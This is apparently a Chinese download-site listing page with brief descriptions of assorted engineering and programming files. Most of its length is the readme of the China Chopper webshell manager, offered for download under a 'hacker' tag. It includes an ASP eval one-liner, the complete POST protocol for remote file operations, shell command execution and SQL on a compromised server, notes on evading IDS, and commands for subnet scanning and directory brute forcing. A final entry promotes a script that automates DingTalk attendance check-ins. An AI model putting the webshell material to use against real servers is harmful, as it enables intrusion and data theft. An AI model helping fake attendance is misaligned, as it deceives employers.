控制器设计往往需要精确的电机参数值来辅助设计,如无速度传感器控制、矢量控制最优PI值设计、电压源逆变器非线性因素在线辨识/补偿等。
但是随着温度、负载和磁饱和程度的变化,永磁同步电机的定子电感、绕组电阻和转子永磁磁链幅值等参数值大小都会随之而变化(偏离常温下设计值)。
其中,温度对永磁电机参数的影响(尤其是定子绕组电阻和转子永磁磁链幅值)是最明显也是最常见的。
对于定子绕组来说,温度的上升会导致绕组电阻值变大,而对于转子永磁来说,温度的上升会导致转子永磁磁链幅值下降。
当电机实际参数值相对于常温下的设计参数值发生比较大变化时,会对所设计的控制系统性能造成很大影响,甚至会让其无法工作。
因此,现在主流的研究趋势是通过系统辨识理论,利用量测的电机终端信号如定子绕组电流、电压和转速来估算定子绕组电阻和转子永磁磁链幅值的大小,进而在线调整控制器参数和间接估算定子绕组和转子永磁的温度。
本文对该类技术进行了深入和全面的研究,提出该技术的核心是要解决“两个问题”,并在这“两个问题”的基础上提出“三个解决方案”,最终在一套基于矢量控制的表面式永磁同步电机试验平台上进行了验证。
2024/10/31 0:33:31 27.35MB 永磁同步电机 pmsm 系统辨识 仿真
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利用交叉验证方法检验所建立的BP神经网络的分类效果,该程序是基于5折交叉验证对所建立的神经网络进行检验。
2024/10/27 20:53:19 3KB 交叉验证 bp神经网络
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【51CTO.com快译】从安全芯片到匿名服务,本文介绍了如何在网上确保安全和私密的一些工具。
别搞错了:专业的网络犯罪岔子和政府撑腰的网络犯罪分子在试图危及你的身份――如果在家里,窃取你的钱;如果在工作场所,窃取你雇主的钱、敏感数据或知识产权。
大多数用户在使用互联网时都知道计算机隐私和安全的基本知识,包括尽可能运行HTTPS和双因子身份验证,上haveibeenpwned.com验证电子邮件地址或用户名和密码是否中了已知攻击的招。
而这年头,计算机用户要做的不仅仅是加强社交媒体帐户方面的设置。
安全精英人士在运行众多程序、工具和专门的硬件,确保其隐私性和安全性尽可能高。
我们在本文中分析了这一组工具
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在OpenGL观察实验的基础上,通过实现实验内容,掌握OpenGL中消隐和光照的设置,并验证课程中消隐和光照的内容。
模型尺寸不做具体要求。
要求修改代码达到以下要求:1. 通过设置材料使得桌面和四条腿的颜色各不相同,分别为:(1,0,0),(0,1,0),(1,1,0),(0,1,1),(0,0,1);
2. 通过设置材料使得茶壶为金黄色;
3. 添加按键处理,移动场景中的光源,并能改变光源的颜色(在两种颜色间切换,颜色自己定义);
4. 修改茶壶的镜面反射系数,使之对光源呈现高光;
5. 在场景中添加一个聚光光源,其照射区域正好覆盖茶壶,并能调整改聚光光源的照射角度和朝向。
2024/10/26 19:47:05 8.02MB opengl
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包含.cir和.sym直接就可以添加到Multisim中,经验证模型准确
2024/10/26 16:30:40 2KB LM386 SPICE Multisim 仿真
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北大青鸟ACCP7.0二期结业项目,实现了项目的所有需求:包括验证码、最近浏览、购物车、前后台用户和管理员操作等。
有注释,并且附带SqlServer数据库、需求规格说明书以及PPT,有需要的朋友可以参考一下。
32.4MB 完整
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struts2表单验证
2024/10/25 14:13:35 3.53MB struts2
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用户表(user)UID唯一自增IDUSER_ID用户名USER_NAME用户真实姓名USER_NAME_INDEX用户姓名索引BYNAME登录名USEING_KEY使用USBKEY登录USING_FINGER使用指纹验证PASSWORD用户密码KEY_SN绑定USBKey序列号SECURE_KEY_SN动态密码卡号USER_PRIV角色编号USER_PRIV_NO角色排序号USER_PRIV_NAME角色名称POST_PRIV管理范围POST_DEPT管理范围指定部门DEPT_ID部门IDDEPT_ID_OTHER辅助部门LEAVE_DEPT离职部门IDSEX性别BIRTHDAY生日IS_LUNAR是否农历(1-是,0-否)TEL_NO_DEPT工作电话
2024/10/25 10:14:48 125KB 通达 OA OA2017 数据库
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Rally是OpenStack社区推出开源测试工具,可用于对OpenStack各个组件进行性能测试。
通过使用Rally组件,用户可完成OpenStack云计算平台的安装部署、功能验证、大规模负载测试(性能测试)、输出测试报告等一系列动作。
2024/10/24 17:10:10 3.02MB rally openstack 性能测试
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产品名称:中国菜刀(Chinachopper)生产厂家:中国菜刀贸易有限公司厂家地址:http://www.maicaidao.com/----------------------------------------------------------------------------------------------------------免责申明: 请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果本厂家不承担任何责任!----------------------------------------------------------------------------------------------------------友情提示:程序在使用过程中难免有各种BUG,到官网看一下是否有更新吧,说不定己经修补了呢。
UINCODE方式编译,支持多国语言输入显示。
在非简体中文环境下使用,自动更换成英文界面,翻译有误的地方请留言指正。
一、脚本客户端(包括但不限于EVAL)部分  1)要了解的  服务端只需要简单的一行代码,即可用此程序实现常用的管理功能,功能代码二次编码后发送,过IDS的能力大幅提高。
  目前支持的服务端脚本:PHP,ASP,ASP.NET,并且支持https安全连接的网站。
  在服务端运行的代码如下:  PHP:  ASP:  ASP.NET: (注意:ASP.NET要单独一个文件或此文件也是Jscript语言)  Customize: 自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与菜刀进行交互即可。
  2)怎么用  在主视图中右键/添加,在弹出的对话框中输入服务端地址,连接的密码(请注意上例中的pass字串),选择正确的脚本类型和语言编码,  保存后即可使用文件管理,虚拟终端,数据库管理三大块功能,同时支持自定义的脚本执行,并可以导入导出数据。
  要是其它都没错误,那么可能就是你把语言编码选错了。
  1.文件管理:[特色]缓存下载目录,并支持离线查看缓存目录;  2.虚拟终端:[特色]人性化的设计,操作方便;(输入HELP查看更多用法)  3.数据库管理:[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS 以及支持ADO方式连接的数据库。
(各种脚本条件下的数据库连接方法请点击数据库管理界面左上角处的配置按钮查看)  注意:由于服务器的安全设置,某些功能可能不能正常使用。
  3)关于配置信息怎么填? A)数据库方面: PHP脚本: 类型类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种 主机地址主机地址可为机器名或IP地址,如localhost 数据库用户连接数据库的用户名,如root 数据库密码连接数据库的密码,如123455 ASP和ASP.NET脚本: 类型类型只能填ADO ADO配置信息 ADO连接各种数据库的方式不一样。
如MSSQL的配置信息为 Driver={SqlServer};Server=(local);Database=master;Uid=sa;Pwd=123456; 同时,支持NT验证登录MSSQL数据库,并能把查询的结果列表导出为html文件 Customize脚本: 类型类型只能填XDB 与Customize脚本约定的配置信息 菜刀自带的server.jsp数据库参数填写方法如下(两行): MSSQL:com.microsoft.sqlserver.jdbc.SQLServerDriverjdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456 MYSQL:com.mysql.jdbc.Driverjdbc:mysql://localhost/test?user=root&password=123456 ORACLE:oracle.jdbc.driver.OracleDriverjdbc:oracle:thin:user/password@127.0.0.1:1521/test B)其它方面: 添加额外附加提交的数据,如ASP的新服务端是这样的: 那么,菜刀在配置处填入: SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function 然后以密码pass来连接即可。
提交功能前先POST额外的数据包:会话期间只提交一次。
https://target.com/cgi-bin/login.cgi uid=user1&pwd=123456  3)关于HTTP登录验证 SHELL地址这样填http://user:pass@server/server.asp 用户名密码中的特殊字符可用URL编码转换。
二、安全扫描  蜘蛛爬行,绑定域名查询,目录爆破。
  命令解释: A)查单一IP的绑定域名 {reverse_ip}{url:http://www.test.com/} B)扫描本C段开放的WEB服务器,并查询绑定域名 {reverse_ip_c}{url:http://www.test.com/} C)只扫描本C段开放的WEB服务器 {reverse_ip_c}{url:http://www.test.com/}{port} D)蜘蛛爬行 {spider}{url:http://www.test.com/} E)蜘蛛爬行,并设定爬行范围 {spider}{url:http://www.test.com/}{range:test.com} F)蜘蛛爬行,过滤重复URL加快速度 加上{filter} G)爆破功能,%s为dict中的一行 flag:后面为返回的数据(含HTTP头部)中的特定关键字 加!!为不包含关键字为TRUE,否则包含关键字为TRUE list.txt为当前目录下的文件,可设为绝对路径,注意:不要包含太多的行。
注:从20100626版开始,list.txt一定要是UNICODE格式的文本文件 {crack}{url:http://%s/admin/}{flag:HTTP/1.1200}{dict:list.txt} {crack}{url:http://%s/admin/}{flag:!!HTTP/1.1404}{dict:list.txt} {crack}{url:http://www.test.com/%s/}{flag:successfully}{dict:list.txt}三、定时提醒  当闹钟来用吧,周期:每月/每周/每日/只一次。
四、快速启动  一些常用的快捷方式放在这里,可以指定用户身份运行程序。
这部分数据是加密存储的。
五、浏览器  就是一个专用的网页浏览器:Post浏览/自定义Cookies,/执行自定义脚本/自动刷新页面/同IP网页搜索。
六、其它部分  等待加入。
文件说明:------------------------------------------------------------------chopper.exe 菜刀程序db.mdb 菜刀的主数据库------------------------------------------------------------------cache.tmp 菜刀的缓存数据库(可删除)readme.txt 你现在正在看的(可删除)[目录]Script 存放菜刀的自写脚本和Customize模式Jsp的一个服务端文件(可删除)----附---------------------------Customize模式菜刀和服务端通信接口---------------------------------------------------------------------------------------------------其它语言的服务端代码可按此接口来编写(请参照server.jsp/server.cfm)---------------------例:菜刀客户端填写的密码为pass,网页编码选的是GB2312注:所有参数都以POST提交,返回的数据都要以->|为开始标记,|<-为结束标记注:返回的错误信息开头包含ERROR://注:\t代表制表符TAB,\r\n代表换行回车,\n代表回车注:数据库配置信息是一个字符串,服务端脚本可以对此字符串格式进行自定义。
--------------------------------------------------------------------------------------------------------------------------------------------------------[得到当前目录的绝对路径]提交:pass=A&z0=GB2312返回:目录的绝对路径\t,如果是Windows系统后面接着加上驱动器列表示例:c:\inetpub\wwwroot\ C:D:E:K:示例:/var/www/html/ [目录浏览]提交:pass=B&z0=GB2312&z1=目录绝对路径返回:先目录后文件,目录名后要加/,文件名后不要加/示例: 目录名/\t时间\t大小\t属性\n目录名/\t时间\t大小\t属性\n 文件名\t时间\t大小\t属性\n文件名\t时间\t大小\t属性\n[读取文本文件]提交:pass=C&z0=GB2312&z1=文件绝对路径返回:文本文件的内容[写入文本文件]提交:pass=D&z0=GB2312&z1=文件绝对路径&z2=文件内容返回:成功返回1,不成功返回错误信息[删除文件或目录]提交:pass=E&z0=GB2312&z1=文件或目录的绝对路径返回:成功返回1,不成功返回错误信息[下载文件]提交:pass=F&z0=GB2312&z1=服务器文件的绝对路径返回:要下载文件的内容[上传文件]提交:pass=G&z0=GB2312&z1=文件上传后的绝对路径&z2=文件内容(十六进制文本格式)返回:要下载文件的内容[复制文件或目录后粘贴]提交:pass=H&z0=GB2312&z1=复制的绝对路径&z2=粘贴的绝对路径返回:成功返回1,不成功返回错误信息[文件或目录重命名]提交:pass=I&z0=GB2312&z1=原名(绝对路径)&z2=新名(绝对路径)返回:成功返回1,不成功返回错误信息[新建目录]提交:pass=J&z0=GB2312&z1=新目录名(绝对路径)返回:成功返回1,不成功返回错误信息[修改文件或目录时间]提交:pass=K&z0=GB2312&z1=文件或目录的绝对路径&z2=时间(格式:yyyy-MM-ddHH:mm:ss)返回:成功返回1,不成功返回错误信息[下载文件到服务器]提交:pass=L&z0=GB2312&z1=URL路径&z2=下载后保存的绝对路径返回:成功返回1,不成功返回错误信息[执行Shell命令(Shell路径前会根据服务器系统类型加上-c或/c参数)]提交:pass=M&z0=GB2312&z1=(-c或/c)加Shell路径&z2=Shell命令返回:命令执行结果[得到数据库基本信息]提交:pass=N&z0=GB2312&z1=数据库配置信息返回:成功返回数据库(以制表符\t分隔),不成功返回错误信息[获取数据库表名]提交:pass=O&z0=GB2312&z1=数据库配置信息\r\n数据库名返回:成功返回数据表(以\t分隔),不成功返回错误信息[获取数据表列名]提交:pass=P&z0=GB2312&z1=数据库配置信息\r\n数据库名\r\n数据表名返回:成功返回数据列(以制表符\t分隔),不成功返回错误信息[执行数据库命令]提交:pass=Q&z0=GB2312&z1=数据库配置信息\r\n数据库名&z2=SQL命令返回:成功返回数据表内容,不成功返回错误信息注意:返回的第一行为表头,接下去每行分别在列表中显示,列数要求一致。
行中的每列后加上\t|\t标记,每行以标记\r\n为结束
2024/10/23 12:54:30 197KB hacker
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在日常工作中,钉钉打卡成了我生活中不可或缺的一部分。然而,有时候这个看似简单的任务却给我带来了不少烦恼。 每天早晚,我总是得牢记打开钉钉应用,点击"工作台",再找到"考勤打卡"进行签到。有时候因为工作忙碌,会忘记打卡,导致考勤异常,影响当月的工作评价。而且,由于我使用的是苹果手机,有时候系统更新后,钉钉的某些功能会出现异常,使得打卡变得更加麻烦。 另外,我的家人使用的是安卓手机,他们也经常抱怨钉钉打卡的繁琐。尤其是对于那些不太熟悉手机操作的长辈来说,每次打卡都是一次挑战。他们总是担心自己会操作失误,导致打卡失败。 为了解决这些烦恼,我开始思考是否可以通过编写一个全自动化脚本来实现钉钉打卡。经过一段时间的摸索和学习,我终于成功编写出了一个适用于苹果和安卓系统的钉钉打卡脚本。
2024-04-09 15:03 15KB 钉钉 钉钉打卡